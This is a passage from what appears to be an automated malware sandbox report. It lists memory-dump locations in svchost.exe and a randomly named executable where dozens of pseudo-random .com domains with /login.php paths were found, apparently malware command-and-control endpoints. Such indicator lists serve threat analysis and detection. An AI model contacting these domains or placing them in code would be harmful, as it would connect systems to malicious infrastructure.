00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178415911.00000000033F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E8D000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E20000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2604863482.0000000001098000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2572564754.0000000000FB2000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2744689381.0000000009396000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://qegyhig.com/login.php
Source: svchost.exe, 00000002.00000003.2223016601.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qegyhig.com/login.phpY
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329971226.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qegykiq.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2361263640.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746888339.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2829874698.000000000084D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2364207806.0000000000852000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qegylul.com/login.php
Source: svchost.exe, 00000002.00000003.2344956997.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2345061243.0000000003356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2344112591.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2344054756.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qegynap.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380222392.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2913582701.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2908725007.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2905696441.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3421967691.00000000040FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3426788667.0000000009235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qegysiv.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347557837.00000000092D0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qegysyg.com/H
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qegysyg.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qegytop.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qegyxav.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349255775.0000000003379000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qekyfiv.com/login.php
Source: svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635608953.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2341852646.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qekyheq.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612622918.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337073481.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2571444797.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635608953.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336470104.0000000003356000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qekykup.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2414263063.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2386712444.00000000040EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388405607.00000000033C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387387248.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D72000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2697302039.000000000899E000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093A5000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093CD000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2756051050.000000000914B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://qekyqop.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2379463124.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375772840.0000000003361000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381004146.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376920856.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qekyqoq.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qekysel.com/login.php
Source: svchost.exe, 00000002.00000003.2498726255.000000000085D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310938686.00000000092CF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2309738735.00000000092BB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2498955488.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2507122526.00000000040F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qekysip.com/
Source: svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310815345.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2311968303.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qekysip.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330574542.0000000003356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635305989.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2607855494.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2609571355.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qeqyfaq.com/login.php
Source: svchost.exe, 00000002.00000003.2757808782.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363891080.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2364207806.0000000000852000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qeqyfug.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2414263063.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388405607.00000000033C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qeqykop.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qeqykyv.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2885524752.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qeqylyg.com/login.php
Source: svchost.exe, 00000002.00000003.2360864557.0000000003331000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2729337658.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2361263640.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363891080.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2364207806.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2735954545.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qeqyniq.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360803451.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qeqyqep.com/login.php
Source: svchost.exe, 00000002.00000003.2509683984.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310815345.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2311968303.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2527939785.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2523187509.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310767470.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2512099666.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2506997946.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qeqyqiv.com/login.php
Source: svchost.exe, 00000002.00000002.3418118048.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388806823.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qeqyqul.com/login.php
Source: svchost.exe, 00000002.00000002.3418118048.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2379463124.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2913582701.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3426788667.0000000009235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qeqyrav.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649747897.00000000040F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2647496494.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qeqyrug.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qeqytuq.com/login.php
Source: svchost.exe, 00000002.00000003.2853017937.000000000085D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qeqyxil.com/
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2414263063.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2184899677.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2386712444.00000000040EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2207439218.00000000008E9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388405607.00000000033C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387387248.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2604863482.00000000010D0000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E29000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D47000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://qeqyxov.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337073481.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2601374159.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336882213.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612862437.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336470104.0000000003356000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qeqyxyp.com/login.php
Source: svchost.exe, 00000002.00000003.2637865779.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612622918.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330643505.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635608953.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qetyfop.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qetyhov.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qetyhov.com/login.phpE
Source: svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qetykyq.com/login.php
Source: svchost.exe, 00000002.00000003.2347539212.0000000003309000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2647408225.00000000033CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qetylip.com/
Source: svchost.exe, 00000002.00000003.2347539212.0000000003309000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qetylip.com/b097eaca-ea1a-4a8d-8bee-a2968c7eba7b
